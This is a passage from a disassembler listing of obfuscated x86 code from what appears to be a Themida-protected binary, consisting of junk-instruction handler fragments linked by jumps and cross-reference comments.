		sub	ebx, 9CC6ED6h
		jmp	loc_557554
; ---------------------------------------------------------------------------


loc_5593B5:				; CODE XREF: Themida_:00564D5Dj
		mov	[esp], ebx
		mov	ebx, 9DA0C52h
		and	ebp, ebx
		jmp	loc_558D29
; ---------------------------------------------------------------------------


loc_5593C4:				; CODE XREF: Themida_:00559C2Cj
		mov	[esp], ebx
		mov	ebx, 21CF1533h
		jmp	loc_5536C7
; ---------------------------------------------------------------------------


loc_5593D1:				; CODE XREF: Themida_:0055E33Ej
		pop	dword ptr [esp]
		jmp	loc_55B470
; ---------------------------------------------------------------------------
		push	dword ptr [edi+3Ch]
		push	ebx
		jmp	loc_55949B
; ---------------------------------------------------------------------------


loc_5593E2:				; CODE XREF: Themida_:00560B84j
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		push	ebx
		jmp	loc_5556F9
; ---------------------------------------------------------------------------


loc_5593FA:				; CODE XREF: Themida_:0055DBBEj
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_55B217
; ---------------------------------------------------------------------------


loc_559408:				; CODE XREF: Themida_:00552C07j
		push	esi
		push	0BDA77C2h
		mov	esi, [esp]
		add	esp, 4
		shr	esi, 2
		jmp	loc_557598
; ---------------------------------------------------------------------------


loc_55941F:				; CODE XREF: Themida_:00561FE1j
		pop	ebx
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		xchg	edx, [esp]
		jmp	loc_557CCD
; ---------------------------------------------------------------------------


loc_559435:				; CODE XREF: Themida_:00563C0Bj
		mov	dx, [esp]
		push	eax
		jmp	loc_55BE58
; ---------------------------------------------------------------------------


loc_55943F:				; CODE XREF: Themida_:0055D827j
		add	esp, 4
		jmp	loc_5534F3
; ---------------------------------------------------------------------------


loc_559447:				; CODE XREF: Themida_:00556E61j
		push	76EFh
		mov	[esp], esi
		push	ebx
		mov	ebx, 4
		mov	esi, ebx
		jmp	loc_55CACD
; ---------------------------------------------------------------------------


loc_55945C:				; CODE XREF: Themida_:0055CBF6j
		push	edi
		mov	edi, 58737424h
		jmp	loc_5520C5
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	141Bh
		mov	[esp], edi
		push	esp
		pop	edi
		jmp	loc_56329C
; ---------------------------------------------------------------------------


loc_55947A:				; CODE XREF: Themida_:005521BCj
		sub	edx, 107B1CE6h
		add	edx, esi
		add	edx, 107B1CE6h
		add	edx, 72B07B56h
		pop	esi
		push	edi
		sub	esp, 4
		jmp	loc_5511E4
; ---------------------------------------------------------------------------


loc_55949B:				; CODE XREF: Themida_:005593DDj
		mov	ebx, 29760E7Bh
		sub	[esp+4], ebx
		pop	ebx
		push	dword ptr [esp]
		jmp	loc_556F55
; ---------------------------------------------------------------------------


loc_5594AD:				; CODE XREF: Themida_:0055C8E5j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	ebx
		jmp	loc_551A08
; ---------------------------------------------------------------------------


loc_5594C8:				; CODE XREF: Themida_:005619EEj
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5528E6
; ---------------------------------------------------------------------------


loc_5594D1:				; CODE XREF: Themida_:00557979j
		push	esp
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		jmp	loc_55B546
; ---------------------------------------------------------------------------


loc_5594E1:				; CODE XREF: Themida_:00565266j
		inc	edx
		jmp	loc_552422
; ---------------------------------------------------------------------------


loc_5594E7:				; CODE XREF: Themida_:005644F3j
		sub	ebx, ecx
		add	ebx, 7A659F2h
		pop	ecx
		push	small word ptr [eax]
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_5594F8:				; CODE XREF: Themida_:00563B9Bj
		add	eax, edx
		jmp	loc_55234F
; ---------------------------------------------------------------------------


loc_5594FF:				; CODE XREF: Themida_:00551BC6j
		and	edi, 603B7708h
		shr	edi, 6
		sub	edi, 0B171E933h
		xor	ebx, edi
		jmp	loc_551D5D
; ---------------------------------------------------------------------------


loc_559515:				; CODE XREF: Themida_:00558421j
		pop	eax
		push	2980h
		jmp	loc_5508A2
; ---------------------------------------------------------------------------


loc_559520:				; CODE XREF: Themida_:00554B92j
		sub	edi, 1E5D1B7Ch
		add	edi, eax
		add	edi, 1E5D1B7Ch
		pop	eax
		push	edi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	edi
		push	eax
		jmp	loc_556032
; ---------------------------------------------------------------------------


loc_55953E:				; CODE XREF: Themida_:00559082j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_5607FF
; ---------------------------------------------------------------------------


loc_55955A:				; CODE XREF: Themida_:00550478j
		sub	cl, 0F1h
		pop	eax
		add	cl, ah
		add	cl, 7Ch
		sub	cl, 0DEh
		jmp	loc_55A3AC
; ---------------------------------------------------------------------------


loc_55956B:				; CODE XREF: Themida_:00552899j
		push	ebp
		mov	ebp, 60B16ABBh
		add	ebp, 6721241Bh
		not	ebp
		push	ecx
		mov	ecx, 45FA190Ah
		jmp	loc_5511CB
; ---------------------------------------------------------------------------


loc_559584:				; CODE XREF: Themida_:005526ACj
		xchg	edi, [esp]
		pop	esp
		jmp	loc_55DAA3
; ---------------------------------------------------------------------------


loc_55958D:				; CODE XREF: Themida_:0055A6ECj
		pop	dx
		pop	ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5599D8
; ---------------------------------------------------------------------------


loc_55959E:				; CODE XREF: Themida_:00563EF4j
		add	eax, 10AB09EEh
		add	eax, edx
		sub	eax, 10AB09EEh
		sub	eax, 631536ECh
		push	dword ptr [esp]
		jmp	loc_561009
; ---------------------------------------------------------------------------


loc_5595B7:				; CODE XREF: Themida_:0055DD7Bj
		add	edx, 4
		add	edx, 4
		jmp	loc_56204F
; ---------------------------------------------------------------------------


loc_5595C8:				; CODE XREF: Themida_:00557E4Fj
		mov	[esp], ebx
		mov	bh, 0BBh
		xor	al, bh
		pop	ebx
		push	ecx
		push	ebx
		mov	bl, 0F2h
		and	bl, 1Ah
		jmp	loc_564A15
; ---------------------------------------------------------------------------


loc_5595DC:				; CODE XREF: Themida_:00558DDCj
		pop	edx
		neg	edi
		sub	edi, 86B06185h
		jmp	loc_560619
; ---------------------------------------------------------------------------


loc_5595EA:				; CODE XREF: Themida_:005611BBj
		pop	edi
		add	esp, 4
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	2F08h
		mov	[esp], edi
		push	ecx
		mov	ecx, 59316A3Bh
		mov	edi, ecx
		pop	ecx
		xor	edi, 38D43F70h
		sub	edi, 6EC63795h
		push	ebx
		jmp	loc_5533FD
; ---------------------------------------------------------------------------


loc_559624:				; CODE XREF: Themida_:00558909j
		sub	bl, 4Bh
		movzx	eax, al
		jmp	loc_560673
; ---------------------------------------------------------------------------


loc_55962F:				; CODE XREF: Themida_:005519B3j
		mov	[esp], ebx
		jmp	loc_558819
; ---------------------------------------------------------------------------


loc_559637:				; CODE XREF: Themida_:0055F52Ej
		xor	edi, 424F1398h
		pop	eax
		push	edx
		mov	edx, 213B1459h
		add	edi, edx
		pop	edx
		xor	edi, 99078886h
		sub	edx, edi
		pop	edi
		push	edx
		jmp	loc_5616CD
; ---------------------------------------------------------------------------


loc_559656:				; CODE XREF: Themida_:00552D99j
		pop	esi
		add	eax, esi
		pop	esi
		push	ecx
		mov	ecx, 52674603h
		sub	eax, ecx
		jmp	loc_55F7D8
; ---------------------------------------------------------------------------


loc_559667:				; CODE XREF: Themida_:00560B1Bj
		sub	eax, 33526C00h
		jmp	loc_55285E
; ---------------------------------------------------------------------------


loc_559671:				; CODE XREF: Themida_:00553E10j
		add	eax, edi
		add	eax, 6B24FA0h
		pop	edi
		push	eax
		neg	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		neg	eax
		inc	eax
		push	ebx
		jmp	loc_563465
; ---------------------------------------------------------------------------


loc_55968F:				; CODE XREF: Themida_:00555D37j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	eax
		jmp	loc_55BD75
; ---------------------------------------------------------------------------


loc_5596A4:				; CODE XREF: Themida_:0055A55Bj
		sub	esi, 4D73CC0h
		sub	esi, 5F724417h
		jmp	loc_561E87
; ---------------------------------------------------------------------------


loc_5596B5:				; CODE XREF: Themida_:00555452j
		pop	edx
		add	ecx, ebx
		sub	ecx, 0D07928h
		pop	ebx
		add	ecx, 2
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_551C25
; ---------------------------------------------------------------------------


loc_5596D0:				; CODE XREF: Themida_:005629BEj
		xchg	edi, [esp]
		pop	esp
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_55DCC0
; ---------------------------------------------------------------------------


loc_5596DD:				; CODE XREF: Themida_:0055CFB2j
		pop	ebx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 3CC51C42h
		sub	ebx, eax
		pop	eax
		jmp	loc_558D91
; ---------------------------------------------------------------------------


loc_5596F1:				; CODE XREF: Themida_:00555AC4j
		and	esi, 6B3D0B07h
		xor	esi, 45A63DADh
		jmp	loc_56499E
; ---------------------------------------------------------------------------


loc_559702:				; CODE XREF: Themida_:00563186j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		shl	eax, 8
		jmp	loc_55DA8D
; ---------------------------------------------------------------------------


loc_559714:				; CODE XREF: Themida_:005618B0j
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5573AA
; ---------------------------------------------------------------------------


loc_559724:				; CODE XREF: Themida_:0055915Bj
		push	ecx
		push	edx
		jmp	loc_565BBD
; ---------------------------------------------------------------------------


loc_55972B:				; CODE XREF: Themida_:00559DC2j
		sub	ebx, 4
		push	ebx
		jmp	loc_563F41
; ---------------------------------------------------------------------------


loc_559734:				; CODE XREF: Themida_:00564F8Aj
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	[esp], ax
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_55974F:				; CODE XREF: Themida_:0055441Aj
		mov	[esp], ebp
		mov	ebp, 2
		push	5A9Fh
		mov	[esp], eax
		mov	eax, 462154D8h
		jmp	loc_55804C
; ---------------------------------------------------------------------------


loc_559769:				; CODE XREF: Themida_:00560993j
		mov	eax, [esp]
		jmp	loc_554745
; ---------------------------------------------------------------------------


loc_559771:				; CODE XREF: Themida_:0055E92Fj
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		neg	ebp
		add	ebp, 60154EDFh
		push	eax
		mov	eax, 820B3EAEh
		add	ebp, eax
		jmp	loc_55D6F6
; ---------------------------------------------------------------------------


loc_55978D:				; CODE XREF: Themida_:0055DA01j
		push	ebx
		jmp	loc_55A1A7
; ---------------------------------------------------------------------------


loc_559793:				; CODE XREF: Themida_:005630A9j
		add	al, bl
		jmp	loc_552AD8
; ---------------------------------------------------------------------------


loc_55979A:				; CODE XREF: Themida_:005591F1j
		mov	esi, 53880FA9h
		jmp	loc_561988
; ---------------------------------------------------------------------------


loc_5597A4:				; CODE XREF: Themida_:0055AA39j
		shl	eax, 8
		jmp	loc_556E2F
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebp
		push	6891h
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_55B497
; ---------------------------------------------------------------------------


loc_5597CC:				; CODE XREF: Themida_:00555950j
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		push	ecx
		jmp	loc_554C3A
; ---------------------------------------------------------------------------


loc_5597D7:				; CODE XREF: Themida_:0055A81Bj
		push	4AD9h
		jmp	$+5
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_5642EC
; ---------------------------------------------------------------------------


loc_5597ED:				; CODE XREF: Themida_:0055688Ej
		mov	ecx, 2
		sub	ebp, 281E12F1h
		sub	ebp, ecx
		push	ebx
		mov	ebx, 1F4E1A56h
		jmp	loc_553F60
; ---------------------------------------------------------------------------


loc_559805:				; CODE XREF: Themida_:0055800Fj
		movzx	eax, al
		jmp	loc_55187E
; ---------------------------------------------------------------------------


loc_55980D:				; CODE XREF: Themida_:00550AFBj
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		push	ebp
		push	62FE697Ch
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_553A62
; ---------------------------------------------------------------------------


loc_55982B:				; CODE XREF: Themida_:005534A4j
		shr	edx, 8
		jmp	loc_55F18D
; ---------------------------------------------------------------------------


loc_559833:				; CODE XREF: Themida_:005648B1j
		sub	edx, eax
		pop	eax
		sub	ebx, edx
		jmp	loc_55C57F
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	3455h
		mov	[esp], ecx
		push	0B22h
		mov	[esp], esp
		push	ecx
		mov	ecx, 44847A5Fh
		not	ecx
		jmp	loc_55D7A2
; ---------------------------------------------------------------------------


loc_55985E:				; CODE XREF: Themida_:005537AEj
		add	al, dh
		pop	edx
		sub	al, ch
		push	edx
		mov	dl, 20h
		sub	al, dl
		pop	edx
		pop	cx
		add	al, 0C3h
		add	al, ch
		sub	al, 0C3h
		add	al, 0D1h
		mov	cx, [esp]
		add	esp, 2
		push	7F20h
		mov	[esp], ecx
		mov	cl, 13h
		shr	cl, 2
		xor	cl, 0ADh
		push	eax
		mov	ah, 51h
		xor	ah, 1Fh
		and	ah, 1Dh
		jmp	loc_55C51B
; ---------------------------------------------------------------------------


loc_559898:				; CODE XREF: Themida_:005531D7j
		add	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	eax, 2
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		bts	[esp], ax
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_5598BA:				; CODE XREF: Themida_:00564739j
		sub	edi, 3D917877h
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_551E52
; ---------------------------------------------------------------------------


loc_5598D0:				; CODE XREF: Themida_:00559DDDj
		xchg	ecx, [esp]
		pop	esp
		push	edx
		push	esp
		pop	edx
		push	eax
		mov	eax, 48E3448Dh
		add	eax, 5AAA58FDh
		neg	eax
		add	eax, 0A38D9D8Eh
		add	edx, eax
		pop	eax
		push	ebp
		jmp	loc_558F7D
; ---------------------------------------------------------------------------


loc_5598F2:				; CODE XREF: Themida_:0055D236j
		push	7A6D15AEh
		pop	eax
		and	eax, 9D10793h
		jmp	loc_560B18
; ---------------------------------------------------------------------------


loc_559902:				; CODE XREF: Themida_:0056101Ej
		add	ecx, 0FFFFFFFFh
		xor	ecx, 6A23811Bh
		mov	esi, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], esi
		push	ebx
		mov	ebx, 25CD10DBh
		mov	esi, 4D8F08B3h
		add	esi, ebx
		pop	ebx
		mov	edi, esi
		jmp	loc_564928
; ---------------------------------------------------------------------------


loc_559929:				; CODE XREF: Themida_:0055B8C2j
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_554F5E
; ---------------------------------------------------------------------------


loc_559934:				; CODE XREF: Themida_:00550F3Aj
		push	ebp
		push	779E72E3h
		mov	ebp, [esp]
		jmp	loc_55745E
; ---------------------------------------------------------------------------
		movzx	ax, byte ptr [edx]
		jmp	loc_560F86
; ---------------------------------------------------------------------------


loc_55994B:				; CODE XREF: Themida_:00563E8Aj
		push	edi
		mov	edi, esp
		jmp	loc_555342
; ---------------------------------------------------------------------------


loc_559953:				; CODE XREF: Themida_:0055E726j
		mov	[esp], ax
		push	3B53h
		mov	[esp], ecx
		mov	ch, 0D9h
		mov	ah, 0CEh
		jmp	loc_55C80B
; ---------------------------------------------------------------------------


loc_559968:				; CODE XREF: Themida_:00552BE5j
		add	esp, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		idiv	ecx
		push	2D8Ch
		jmp	loc_558C12
; ---------------------------------------------------------------------------


loc_559983:				; CODE XREF: Themida_:0055495Cj
		xchg	ebx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ecx
		mov	cl, 70h
		sub	al, cl
		push	dword ptr [esp]
		jmp	loc_555658
; ---------------------------------------------------------------------------


loc_55999C:				; CODE XREF: Themida_:0055D05Ej
		pop	ebx
		sub	ebx, ebp
		jmp	loc_5619FD
; ---------------------------------------------------------------------------


loc_5599A4:				; CODE XREF: Themida_:0055E6C6j
		xor	esi, [esp]
		mov	esp, [esp]
		btr	[esp], ax
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_5599B5:				; CODE XREF: Themida_:00565163j
		mov	esp, [esp]
		push	22BBh
		mov	[esp], edx
		push	esp
		pop	edx
		push	edi
		mov	edi, 25CF45DAh
		add	edi, 5EAD6DCAh
		xchg	ebp, edi
		not	ebp
		inc	ebp
		jmp	loc_560316
; ---------------------------------------------------------------------------


loc_5599D8:				; CODE XREF: Themida_:00559599j
		sub	bl, 0F5h
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		popa
		retn
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ebx
		mov	ebx, esp
		push	4D9Dh
		mov	[esp], edx
		push	esi
		mov	esi, 698A666Ah
		jmp	loc_56053F
; ---------------------------------------------------------------------------


loc_5599FD:				; CODE XREF: Themida_:00559C79j
		sub	ebx, esi
		jmp	loc_55206D
; ---------------------------------------------------------------------------


loc_559A04:				; CODE XREF: Themida_:005560CDj
		push	ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		jmp	loc_55EE26
; ---------------------------------------------------------------------------


loc_559A17:				; CODE XREF: Themida_:00551D48j
		mov	dh, 0F9h
		xor	al, dh
		jmp	loc_560201
; ---------------------------------------------------------------------------


loc_559A20:				; CODE XREF: Themida_:00551BB2j
		xchg	eax, ebp
		push	eax
		mov	eax, 632965DAh
		add	eax, 22C87E9Eh
		xor	eax, 51C83F6Ch
		and	eax, 3CEE46F8h
		jmp	loc_5590EF
; ---------------------------------------------------------------------------


loc_559A3B:				; CODE XREF: Themida_:00559384j
		shl	al, 8
		push	ecx
		jmp	loc_557C42
; ---------------------------------------------------------------------------


loc_559A44:				; CODE XREF: Themida_:005505E2j
		add	esi, 4
		add	esi, 4
		jmp	loc_558950
; ---------------------------------------------------------------------------


loc_559A55:				; CODE XREF: Themida_:0055C34Bj
		xor	ch, 0D7h
		add	ch, 7Ah
		add	al, ch
		pop	ecx
		pop	ebx
		push	445h
		mov	[esp], esi
		mov	esi, esp
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_55361F
; ---------------------------------------------------------------------------


loc_559A74:				; CODE XREF: Themida_:00558802j
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	bl, 0CFh
		sub	bl, 5Eh
		push	edx
		mov	dh, 94h
		sub	bl, 52h
		sub	bl, dh
		add	bl, 52h
		jmp	loc_55771D
; ---------------------------------------------------------------------------


loc_559A92:				; CODE XREF: Themida_:0055EE3Cj
		mov	cl, 68h
		add	cl, 8Ah
		shr	cl, 1
		shl	cl, 6
		add	cl, 45h
		mov	ah, cl
		pop	ecx
		xor	ah, 71h
		neg	ah
		push	bx
		jmp	loc_55381F
; ---------------------------------------------------------------------------


loc_559AAE:				; CODE XREF: Themida_:00556E1Dj
		pop	esi
		xor	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	edi
		push	6A8Dh
		jmp	loc_558ADE
; ---------------------------------------------------------------------------


loc_559AC6:				; CODE XREF: Themida_:0055B8FAj
		not	cl
		and	cl, 0FCh
		or	cl, 45h
		add	cl, 33h
		add	bl, cl
		pop	ecx
		add	bl, al
		sub	bl, 8
		push	eax
		push	ecx
		push	esp
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	ecx, 4
		sub	ecx, 2
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		mov	[esp], bx
		sub	esp, 4
		jmp	loc_56091D
; ---------------------------------------------------------------------------


loc_559B05:				; CODE XREF: Themida_:0055F168j
		pop	ecx
		not	ebx
		sub	esp, 4
		mov	[esp], edx
		push	edi
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 721402ABh
		jmp	loc_55E201
; ---------------------------------------------------------------------------


loc_559B22:				; CODE XREF: Themida_:0055DCBBj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55585C
; ---------------------------------------------------------------------------


loc_559B31:				; CODE XREF: Themida_:005555DDj
		pop	eax
		xchg	dl, bh
		push	bx
		mov	bl, dl
		not	bl
		mov	dl, bl
		pop	bx
		push	cx
		mov	ch, dl
		push	ecx
		mov	ch, bh
		push	ebx
		mov	bh, ch
		mov	dl, bh
		pop	ebx
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_550EB9
; ---------------------------------------------------------------------------


loc_559B66:				; CODE XREF: Themida_:0055207Ej
		not	edx
		jmp	loc_554FE1
; ---------------------------------------------------------------------------


loc_559B6D:				; CODE XREF: Themida_:00562B29j
		push	edx
		push	edi
		push	977409h
		pop	edi
		not	edi
		xor	edi, 2EDB3B03h
		jmp	loc_558DAE
; ---------------------------------------------------------------------------


loc_559B82:				; CODE XREF: Themida_:0055D5ABj
		mov	[esp], esi
		mov	esi, 4EE27E66h
		add	esi, 0FFFFFFFFh
		xchg	ebx, esi
		not	ebx
		xchg	ebx, esi
		push	ecx
		mov	ecx, 0B11D819Eh
		jmp	loc_55F937
; ---------------------------------------------------------------------------


loc_559BA1:				; CODE XREF: Themida_:00561010j
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_560831
; ---------------------------------------------------------------------------


loc_559BAE:				; CODE XREF: Themida_:00559E9Bj
		add	ecx, ebx
		add	ecx, 42A258F4h
		push	eax
		mov	eax, 0F3F5301h
		sub	ecx, eax
		pop	eax
		jmp	loc_5578DE
; ---------------------------------------------------------------------------


loc_559BC4:				; CODE XREF: Themida_:0055592Bj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	eax
		jmp	loc_555D68
; ---------------------------------------------------------------------------


loc_559BDA:				; CODE XREF: Themida_:00551CB5j
		mov	[esp], eax
		mov	ah, 0EBh
		or	ah, 0FAh
		neg	ah
		and	ah, 8Bh
		push	edx
		mov	dl, 0F3h
		sub	esp, 2
		mov	[esp], cx
		jmp	loc_55A3F2
; ---------------------------------------------------------------------------


loc_559BF9:				; CODE XREF: Themida_:0055C108j
		push	ebp
		mov	ebp, 39A14D50h
		xor	ebp, 6252304Dh
		push	eax
		mov	eax, 0C5C09D76h
		jmp	loc_55DDE5
; ---------------------------------------------------------------------------


loc_559C10:				; CODE XREF: Themida_:00563C29j
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_55C3A2
; ---------------------------------------------------------------------------


loc_559C1E:				; CODE XREF: Themida_:00551134j
		mov	ebx, 6AB82E38h
		jmp	loc_55A219
; ---------------------------------------------------------------------------


loc_559C28:				; CODE XREF: Themida_:00554FBFj
		push	ebp
		sub	esp, 4
		jmp	loc_5593C4
; ---------------------------------------------------------------------------


loc_559C31:				; CODE XREF: Themida_:005602A7j
		shr	bl, 3
		neg	bl
		neg	bl
		jmp	loc_55D363
; ---------------------------------------------------------------------------


loc_559C3D:				; CODE XREF: Themida_:0055BCD8j
		xor	ebx, 74AD6D1Ch
		add	edi, 7855195Fh
		sub	edi, ebx
		sub	edi, 7855195Fh
		mov	ebx, [esp]
		add	esp, 4
		add	eax, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_563FDC
; ---------------------------------------------------------------------------


loc_559C6A:				; CODE XREF: Themida_:00562C25j
		add	ebx, 28FF46ACh
		push	edi
		mov	edi, 452848A4h
		add	ebx, edi
		pop	edi
		jmp	loc_5599FD
; ---------------------------------------------------------------------------


loc_559C7E:				; CODE XREF: Themida_:00554057j
		add	edi, 4
		jmp	loc_560CF8
; ---------------------------------------------------------------------------


loc_559C89:				; CODE XREF: Themida_:00556B95j
		push	ecx
		mov	ecx, 50413CE2h
		mov	eax, 32C0088Bh
		xor	eax, ecx
		pop	ecx
		sub	eax, 2B920664h
		sub	eax, edx
		add	eax, 2B920664h
		mov	edx, [esp]
		add	esp, 4
		shl	eax, cl
		sub	esp, 4
		mov	[esp], ebp
		push	ecx
		mov	ecx, 0FFFFFFFFh
		mov	ebp, ecx
		pop	ecx
		push	edx
		mov	edx, 6C8A2CD0h
		sub	edx, 6C54D430h
		sub	eax, edx
		pop	edx
		add	eax, 2A504280h
		add	eax, 306806ADh
		add	eax, ebp
		sub	eax, 306806ADh
		sub	eax, 2A504280h
		push	7A1Dh
		mov	[esp], edx
		push	3558A0h
		jmp	loc_556A98
; ---------------------------------------------------------------------------


loc_559CF4:				; CODE XREF: Themida_:00562C88j
		mov	eax, 4
		mov	ebx, eax
		mov	eax, [esp]
		jmp	loc_550985
; ---------------------------------------------------------------------------


loc_559D03:				; CODE XREF: Themida_:0055A3D7j
		sub	ecx, ebx
		pop	ebx
		jmp	loc_559310
; ---------------------------------------------------------------------------


loc_559D0B:				; CODE XREF: Themida_:00559D42j
		xor	eax, [esp]
		mov	esp, [esp]
		jmp	loc_561DE1
; ---------------------------------------------------------------------------


loc_559D16:				; CODE XREF: Themida_:0055EB6Ej
		sub	[esp], ch
		jmp	loc_559E84
; ---------------------------------------------------------------------------


loc_559D1E:				; CODE XREF: Themida_:005592A5j
		pop	esi
		sub	ax, bx
		add	ax, 32BDh
		mov	bx, [esp]
		push	6FCEh
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_561B64
; ---------------------------------------------------------------------------


loc_559D3F:				; CODE XREF: Themida_:00550841j
		xor	[esp], eax
		jmp	loc_559D0B
; ---------------------------------------------------------------------------


loc_559D47:				; CODE XREF: Themida_:00553A26j
		mov	bl, 0D3h
		push	12F9h
		mov	[esp], eax
		mov	ah, 0F3h
		add	bl, ah
		pop	eax
		sub	esp, 2
		jmp	loc_55E0B0
; ---------------------------------------------------------------------------


loc_559D61:				; CODE XREF: Themida_:00553D86j
		push	edi
		jmp	loc_550966
; ---------------------------------------------------------------------------


loc_559D67:				; CODE XREF: Themida_:005636D6j
		push	0FFFFFBFFh
		mov	edx, [esp]
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5537B3
; ---------------------------------------------------------------------------


loc_559D82:				; CODE XREF: Themida_:00560825j
		sub	edi, 67EA5030h
		push	ebp
		mov	ebp, 32A10ED5h
		xor	edi, ebp
		pop	ebp
		add	edi, 932D4437h
		jmp	loc_55B034
; ---------------------------------------------------------------------------


loc_559D9C:				; CODE XREF: Themida_:005574BEj
		pop	esi
		xchg	edx, [esp]
		jmp	loc_552823
; ---------------------------------------------------------------------------


loc_559DA5:				; CODE XREF: Themida_:005579A6j
		add	edx, 2
		jmp	loc_554646
; ---------------------------------------------------------------------------


loc_559DB0:				; CODE XREF: Themida_:00562471j
		push	1C99h
		mov	[esp], ebx
		mov	bh, 0D0h
		dec	bh
		jmp	loc_55A95B
; ---------------------------------------------------------------------------


loc_559DC1:				; CODE XREF: Themida_:0055795Ej
		pop	eax
		jmp	loc_55972B
; ---------------------------------------------------------------------------


loc_559DC7:				; CODE XREF: Themida_:0055661Aj
		shr	ecx, 2
		jmp	loc_553294
; ---------------------------------------------------------------------------


loc_559DCF:				; CODE XREF: Themida_:0055F7B3j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5598D0
; ---------------------------------------------------------------------------


loc_559DE2:				; CODE XREF: Themida_:0055DC17j
		mov	edi, 62594773h
		add	dword ptr [esp+4], 2DF81F6Ch
		sub	[esp+4], edi
		push	edi
		jmp	loc_55CF80
; ---------------------------------------------------------------------------


loc_559DF9:				; CODE XREF: Themida_:005632C9j
		pop	ebp
		jmp	loc_5556DE
; ---------------------------------------------------------------------------


loc_559DFF:				; CODE XREF: Themida_:0055A136j
		and	ebp, 1617054Ah
		push	esi
		mov	esi, 3E1F302Dh
		xor	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		add	esi, 0F7A343Bh
		sub	esi, 56625B3h
		jmp	loc_552DBC
; ---------------------------------------------------------------------------


loc_559E24:				; CODE XREF: Themida_:00559195j
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_552F5D
; ---------------------------------------------------------------------------


loc_559E38:				; CODE XREF: Themida_:0055645Aj
		pop	edi
		add	edi, 4
		jmp	loc_55EA92
; ---------------------------------------------------------------------------


loc_559E44:				; CODE XREF: Themida_:0055791Fj
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_55158A
; ---------------------------------------------------------------------------


loc_559E54:				; CODE XREF: Themida_:0055328Fj
		add	ebp, 61A42FD0h
		jmp	loc_5543EF
; ---------------------------------------------------------------------------


loc_559E5F:				; CODE XREF: Themida_:00562710j
		add	eax, ecx
		sub	eax, 5FD17DF4h
		jmp	loc_5557CA
; ---------------------------------------------------------------------------


loc_559E6B:				; CODE XREF: Themida_:00563C90j
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		push	ebx
		jmp	loc_554CF0
; ---------------------------------------------------------------------------


loc_559E7D:				; CODE XREF: Themida_:00552E23j
		pop	ecx
		inc	ecx
		jmp	loc_554999
; ---------------------------------------------------------------------------


loc_559E84:				; CODE XREF: Themida_:00559D19j
